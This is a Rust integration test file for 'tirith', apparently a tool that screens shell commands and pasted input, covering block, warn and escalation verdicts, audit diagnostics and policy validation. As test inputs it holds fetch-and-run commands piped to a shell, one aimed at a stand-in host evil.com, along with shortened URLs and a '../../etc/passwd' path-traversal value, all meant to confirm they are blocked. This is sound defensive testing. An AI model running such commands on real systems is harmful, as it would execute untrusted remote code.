fn run_check_with_last_trigger_failure(debug: bool) -> std::process::Output {
    let tmpdir = tempfile::tempdir().expect("tempdir");
    let fake_data_home = tmpdir.path().join("xdg-data-file");
    fs::write(&fake_data_home, "not a directory").expect("seed fake XDG data home");

    let mut cmd = tirith();
    cmd.env("XDG_DATA_HOME", &fake_data_home)
        .env("APPDATA", tmpdir.path())
        .env("TIRITH_LOG", "0")
        .args([
            "check",
            "--shell",
            "posix",
            "--non-interactive",
            "--",
            "curl https://example.com/install.sh | bash",
        ]);
    if debug {
        cmd.env("TIRITH_AUDIT_DEBUG", "1");
    }

    cmd.output().expect("failed to run tirith check")
}

#[cfg(unix)]
#[test]
fn check_audit_failures_are_silent_by_default() {
    let out = run_check_with_audit_failure(false);

    assert_eq!(
        out.status.code(),
        Some(1),
        "blocked command should still exit 1"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("BLOCKED"),
        "check output should still show the verdict, got: {stderr}"
    );
    assert!(
        !stderr.contains("tirith: audit:"),
        "audit diagnostics should be suppressed by default, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn check_audit_failures_are_visible_with_debug_env() {
    let out = run_check_with_audit_failure(true);

    assert_eq!(
        out.status.code(),
        Some(1),
        "blocked command should still exit 1"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("tirith: audit:"),
        "debug env should surface audit diagnostics, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn check_last_trigger_failures_are_silent_by_default() {
    let out = run_check_with_last_trigger_failure(false);

    assert_eq!(
        out.status.code(),
        Some(1),
        "blocked command should still exit 1"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("BLOCKED"),
        "check output should still show the verdict, got: {stderr}"
    );
    assert!(
        !stderr.contains("cannot create data dir"),
        "last_trigger diagnostics should be suppressed by default, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn check_last_trigger_failures_are_visible_with_debug_env() {
    let out = run_check_with_last_trigger_failure(true);

    assert_eq!(
        out.status.code(),
        Some(1),
        "blocked command should still exit 1"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("cannot create data dir"),
        "debug env should surface last_trigger diagnostics, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn paste_audit_failures_are_silent_by_default() {
    let out = run_paste_with_audit_failure(false);

    assert_eq!(
        out.status.code(),
        Some(1),
        "blocked paste should still exit 1"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("BLOCKED"),
        "paste output should still show the verdict, got: {stderr}"
    );
    assert!(
        !stderr.contains("tirith: audit:"),
        "audit diagnostics should be suppressed by default, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn paste_audit_failures_are_visible_with_debug_env() {
    let out = run_paste_with_audit_failure(true);

    assert_eq!(
        out.status.code(),
        Some(1),
        "blocked paste should still exit 1"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("tirith: audit:"),
        "debug env should surface audit diagnostics, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn paste_oversized_input_rejected() {
    use std::io::Write;

    let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");

    let data = vec![b'A'; 1024 * 1024 + 100];
    child.stdin.take().unwrap().write_all(&data).unwrap();

    let out = child.wait_with_output().unwrap();
    assert_eq!(out.status.code(), Some(1), "paste >1MiB should exit 1");
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("1 MiB"),
        "stderr should mention 1 MiB limit, got: {stderr}"
    );
}

#[test]
fn receipt_verify_invalid_sha256_rejected() {
    let out = tirith()
        .args(["receipt", "verify", "../../etc/passwd"])
        .output()
        .expect("failed to run tirith");
    assert_ne!(
        out.status.code(),
        Some(0),
        "path traversal sha256 should be rejected"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("invalid sha256"),
        "stderr should mention invalid sha256, got: {stderr}"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_unexpected_rc_logic_test() {
    // Pure structural check of the if/elif/else branching for exit codes.
    let script = r#"
for rc in 0 1 2 137; do
  if [[ $rc -eq 0 ]]; then
    printf "rc=%d:ALLOW\n" "$rc"
  elif [[ $rc -eq 2 ]]; then
    printf "rc=%d:WARN\n" "$rc"
  elif [[ $rc -eq 1 ]]; then
    printf "rc=%d:BLOCK\n" "$rc"
  else
    printf "rc=%d:UNEXPECTED\n" "$rc"
  fi
done
"#;
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", script])
        .output()
        .expect("failed to run bash");
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert!(stdout.contains("rc=0:ALLOW"), "rc=0 should ALLOW");
    assert!(stdout.contains("rc=1:BLOCK"), "rc=1 should BLOCK");
    assert!(stdout.contains("rc=2:WARN"), "rc=2 should WARN");
    assert!(
        stdout.contains("rc=137:UNEXPECTED"),
        "rc=137 should be UNEXPECTED"
    );
}

#[cfg(unix)]
#[test]
fn zsh_unexpected_rc_branch_logic_test() {
    let script = r#"
rc=137
if [[ $rc -eq 0 ]]; then echo ALLOW
elif [[ $rc -eq 2 ]]; then echo WARN
elif [[ $rc -eq 1 ]]; then echo BLOCK
else echo UNEXPECTED; fi
"#;
    let out = Command::new("zsh").args(["-c", script]).output();
    match out {
        Ok(out) => {
            let stdout = String::from_utf8_lossy(&out.stdout);
            assert!(
                stdout.trim() == "UNEXPECTED",
                "zsh rc=137 should be UNEXPECTED, got: {stdout}"
            );
        }
        Err(_) => {
            eprintln!("skipping zsh branch test: zsh not available");
        }
    }
}

#[cfg(unix)]
#[test]
fn fish_unexpected_rc_branch_logic_test() {
    let script = r#"set rc 137
if test $rc -eq 0; echo ALLOW
else if test $rc -eq 2; echo WARN
else if test $rc -eq 1; echo BLOCK
else; echo UNEXPECTED; end"#;
    let out = Command::new("fish").args(["-c", script]).output();
    match out {
        Ok(out) => {
            let stdout = String::from_utf8_lossy(&out.stdout);
            assert!(
                stdout.trim() == "UNEXPECTED",
                "fish rc=137 should be UNEXPECTED, got: {stdout}"
            );
        }
        Err(_) => {
            eprintln!("skipping fish branch test: fish not available");
        }
    }
}

#[cfg(unix)]
#[test]
fn bash_hook_unexpected_rc_degrades_in_pty() {
    if !expect_available() {
        eprintln!("skipping PTY test: expect not available");
        return;
    }
    if bash_major_version().map(|v| v < 5).unwrap_or(true) {
        eprintln!("skipping PTY test: requires bash >= 5");
        return;
    }

    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let marker = tmpdir.path().join("marker");

    let fake_tirith = tmpdir.path().join("tirith");
    fs::write(&fake_tirith, "#!/bin/sh\nexit 137\n").unwrap();
    #[cfg(unix)]
    {
        use std::os::unix::fs::PermissionsExt;
        fs::set_permissions(&fake_tirith, std::fs::Permissions::from_mode(0o755)).unwrap();
    }

    let marker_str = marker.display().to_string();
    let fake_dir = tmpdir.path().display().to_string();

    let expect_script = format!(
        r#"
set timeout 20
set hook "{hook}"
set marker "{marker_str}"
set fake_dir "{fake_dir}"
spawn -noecho bash --norc --noprofile -i
expect -re {{[$#] $}}
send -- "export PS1='PROMPT> '\r"
expect "PROMPT> "
send -- "export PATH=$fake_dir:$PATH\r"
expect "PROMPT> "
send -- "export TIRITH_BASH_MODE=enter\r"
expect "PROMPT> "
send -- "export _TIRITH_TEST_SKIP_HEALTH=1\r"
expect "PROMPT> "
send -- "source '$hook'\r"
expect "PROMPT> "
send -- "touch $marker\r"
sleep 1
send -- "\x15"
sleep 0.5
send -- "echo MODE=$_TIRITH_BASH_MODE\r"
expect {{
  -re {{MODE=preexec}} {{}}
  timeout {{ exit 2 }}
}}
send -- "exit\r"
expect eof
"#
    );

    let out = Command::new("expect")
        .args(["-c", &expect_script])
        .env("XDG_STATE_HOME", tmpdir.path().join("state"))
        .env_remove("TIRITH_BASH_MODE")
        .env_remove("SSH_CONNECTION")
        .env_remove("SSH_TTY")
        .env_remove("SSH_CLIENT")
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run expect");

    let stdout = String::from_utf8_lossy(&out.stdout);

    assert!(
        !marker.exists(),
        "marker file should not exist — command should not have executed"
    );

    assert!(
        stdout.contains("unexpected exit code") || stdout.contains("switching to preexec"),
        "output should mention degrade reason, got:\n{stdout}"
    );

    assert!(
        stdout.contains("MODE=preexec"),
        "mode should degrade to preexec, got:\n{stdout}"
    );

    let flag = tmpdir.path().join("state/tirith/bash-safe-mode");
    assert!(
        flag.exists(),
        "safe-mode flag should be persisted after unexpected rc degrade"
    );
}

/// Build a tirith Command with session and state isolation.
fn tirith_isolated(
    session_id: &str,
    state_dir: &std::path::Path,
    cwd: &std::path::Path,
) -> Command {
    let mut cmd = tirith();
    cmd.env("TIRITH_SESSION_ID", session_id)
        .env("XDG_STATE_HOME", state_dir)
        .env("TIRITH_LOG", "0")
        .current_dir(cwd);
    cmd
}

#[test]
fn escalation_repeat_count_blocks_at_threshold() {
    let tmpdir = tempfile::tempdir().expect("tempdir");
    let state_dir = tmpdir.path().join("state");
    let policy_dir = tmpdir.path().join("project/.tirith");
    fs::create_dir_all(&policy_dir).unwrap();
    fs::create_dir_all(&state_dir).unwrap();

    let policy = r#"paranoia: 1
escalation:
  - trigger: repeat_count
    rule_ids: ["*"]
    threshold: 3
    action: block
"#;
    fs::write(policy_dir.join("policy.yaml"), policy).unwrap();

    // Policy discovery walks up to `.git`, so seed one.
    fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();

    let session_id = format!("test-escalation-{}", std::process::id());
    let project_dir = tmpdir.path().join("project");

    let out1 = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args([
            "check",
            "--non-interactive",
            "--no-daemon",
            "--shell",
            "posix",
            "--",
            "curl https://bit.ly/aaa",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out1.status.code(),
        Some(2),
        "1st shortened URL should exit 2 (warn), got stderr: {}",
        String::from_utf8_lossy(&out1.stderr)
    );

    let out2 = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args([
            "check",
            "--non-interactive",
            "--no-daemon",
            "--shell",
            "posix",
            "--",
            "curl https://bit.ly/bbb",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out2.status.code(),
        Some(2),
        "2nd shortened URL should exit 2 (warn), got stderr: {}",
        String::from_utf8_lossy(&out2.stderr)
    );

    let out3 = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args([
            "check",
            "--non-interactive",
            "--no-daemon",
            "--shell",
            "posix",
            "--",
            "curl https://bit.ly/ccc",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out3.status.code(),
        Some(1),
        "3rd shortened URL should exit 1 (escalated to block), got stderr: {}",
        String::from_utf8_lossy(&out3.stderr)
    );
}

#[test]
fn escalation_blocked_not_recorded_as_warning() {
    let tmpdir = tempfile::tempdir().expect("tempdir");
    let state_dir = tmpdir.path().join("state");
    let policy_dir = tmpdir.path().join("project/.tirith");
    fs::create_dir_all(&policy_dir).unwrap();
    fs::create_dir_all(&state_dir).unwrap();

    let policy = r#"paranoia: 1
escalation:
  - trigger: repeat_count
    rule_ids: ["*"]
    threshold: 3
    action: block
"#;
    fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
    fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();

    let session_id = format!("test-blocked-warn-{}", std::process::id());
    let project_dir = tmpdir.path().join("project");

    for slug in &["aaa", "bbb", "ccc"] {
        let _ = tirith_isolated(&session_id, &state_dir, &project_dir)
            .args([
                "check",
                "--non-interactive",
                "--no-daemon",
                "--shell",
                "posix",
                "--",
                &format!("curl https://bit.ly/{slug}"),
            ])
            .output()
            .expect("failed to run tirith");
    }

    let out = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args(["warnings", "--json", "--session", &session_id])
        .output()
        .expect("failed to run tirith warnings");
    assert_eq!(out.status.code(), Some(0));

    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value =
        serde_json::from_str(&stdout).expect("warnings --json should be valid JSON");
    assert_eq!(
        json["total_warnings"], 2,
        "only 2 warnings should be recorded (3rd was blocked, not a warning): {json}"
    );
}

#[test]
fn warnings_clear_resets_session() {
    let tmpdir = tempfile::tempdir().expect("tempdir");
    let state_dir = tmpdir.path().join("state");
    let policy_dir = tmpdir.path().join("project/.tirith");
    fs::create_dir_all(&policy_dir).unwrap();
    fs::create_dir_all(&state_dir).unwrap();

    let policy = "paranoia: 1\n";
    fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
    fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();

    let session_id = format!("test-clear-{}", std::process::id());
    let project_dir = tmpdir.path().join("project");

    let out = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args([
            "check",
            "--non-interactive",
            "--no-daemon",
            "--shell",
            "posix",
            "--",
            "curl https://bit.ly/abc",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out.status.code(),
        Some(2),
        "shortened URL should warn (exit 2)"
    );

    let out = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args(["warnings", "--json", "--session", &session_id])
        .output()
        .expect("failed to run tirith warnings");
    let json: serde_json::Value =
        serde_json::from_str(&String::from_utf8_lossy(&out.stdout)).unwrap();
    assert!(
        json["total_warnings"].as_u64().unwrap() > 0,
        "should have at least one warning before clear"
    );

    let out = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args(["warnings", "--clear", "--session", &session_id])
        .output()
        .expect("failed to run tirith warnings --clear");
    assert_eq!(out.status.code(), Some(0));

    let out = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args(["warnings", "--json", "--session", &session_id])
        .output()
        .expect("failed to run tirith warnings after clear");
    let json: serde_json::Value =
        serde_json::from_str(&String::from_utf8_lossy(&out.stdout)).unwrap();
    assert_eq!(
        json["total_warnings"], 0,
        "warnings should be 0 after clear: {json}"
    );
}

#[test]
fn paranoia_filters_low_finding_to_allow() {
    let tmpdir = tempfile::tempdir().expect("tempdir");
    let state_dir = tmpdir.path().join("state");
    let policy_dir = tmpdir.path().join("project/.tirith");
    fs::create_dir_all(&policy_dir).unwrap();
    fs::create_dir_all(&state_dir).unwrap();

    // paranoia 1 + LOW override for shortened_url filters the finding out.
    let policy = r#"paranoia: 1
severity_overrides:
  shortened_url: LOW
"#;
    fs::write(policy_dir.join("policy.yaml"), policy).unwrap();
    fs::create_dir_all(tmpdir.path().join("project/.git")).unwrap();

    let session_id = format!("test-paranoia-low-{}", std::process::id());
    let project_dir = tmpdir.path().join("project");

    let out = tirith_isolated(&session_id, &state_dir, &project_dir)
        .args([
            "check",
            "--non-interactive",
            "--no-daemon",
            "--shell",
            "posix",
            "--",
            "curl https://bit.ly/x",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out.status.code(),
        Some(0),
        "LOW finding at paranoia=1 should be filtered to Allow (exit 0), got stderr: {}",
        String::from_utf8_lossy(&out.stderr)
    );
}

#[test]
fn check_warn_only_block_renders_as_detected() {
    let out = tirith()
        .args([
            "check",
            "--warn-only",
            "--shell",
            "posix",
            "--",
            "curl http://evil.com/x.sh | sh",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out.status.code(),
        Some(1),
        "exit code stays 1 in warn-only mode; the flag is human-rendering-only"
    );
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        !stderr.contains("BLOCKED"),
        "warn-only mode must not use 'BLOCKED' banner — got: {stderr}"
    );
    assert!(
        stderr.contains("DETECTED"),
        "warn-only mode must render block verdicts as DETECTED — got: {stderr}"
    );
}

#[test]
fn check_without_warn_only_still_renders_blocked() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--",
            "curl http://evil.com/x.sh | sh",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("BLOCKED"),
        "default mode must use BLOCKED banner — got: {stderr}"
    );
    assert!(
        !stderr.contains("DETECTED"),
        "default mode must not render DETECTED — got: {stderr}"
    );
}

#[test]
fn warn_only_json_output_matches_plain_when_timings_stripped() {
    // The --warn-only flag only affects human rendering. Machine output
    // (JSON, audit, webhook) must be byte-identical to the un-flagged run
    // after stripping the per-run `timings_ms` field.
    let input = "curl http://evil.com/x.sh | sh";
    let with_flag = tirith()
        .args([
            "check",
            "--warn-only",
            "--json",
            "--shell",
            "posix",
            "--",
            input,
        ])
        .output()
        .expect("tirith with --warn-only");
    let without_flag = tirith()
        .args(["check", "--json", "--shell", "posix", "--", input])
        .output()
        .expect("tirith without --warn-only");

    let strip = |bytes: &[u8]| -> serde_json::Value {
        let mut v: serde_json::Value = serde_json::from_slice(bytes).expect("parse JSON");
        if let Some(obj) = v.as_object_mut() {
            obj.remove("timings_ms");
        }
        v
    };
    assert_eq!(
        strip(&with_flag.stdout),
        strip(&without_flag.stdout),
        "JSON must be identical except for timings_ms"
    );
    assert_eq!(
        with_flag.status.code(),
        without_flag.status.code(),
        "exit codes must match"
    );
}

/// #112: `tirith policy validate` (no --file) must locate a present-but-corrupt
/// policy and report its error, rather than collapsing to "no policy file found"
/// the way the old parse-aware discovery (`Policy::discover().path`) did.
#[test]
fn policy_validate_finds_present_but_corrupt_policy() {
    let dir = tempfile::tempdir().expect("tempdir");
    let tirith_dir = dir.path().join(".tirith");
    fs::create_dir_all(&tirith_dir).expect("create .tirith");
    // Unparseable YAML: `Policy::discover` would parse this, fail, and drop the
    // path — so the old resolver reported "no policy file found".
    fs::write(tirith_dir.join("policy.yaml"), "{{invalid yaml\n").expect("write policy");

    let out = tirith()
        .args(["policy", "validate"])
        .current_dir(dir.path())
        .env_remove("TIRITH_POLICY_ROOT")
        .output()
        .expect("failed to run tirith");

    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        !stderr.contains("no policy file found"),
        "validate must locate the present policy, not claim none exists: {stderr}"
    );
    assert!(
        stderr.contains("YAML parse error"),
        "validate must report the corrupt policy's parse error: {stderr}"
    );
    assert_eq!(
        out.status.code(),
        Some(1),
        "a corrupt policy is an error-level issue (exit 1)"
    );
}
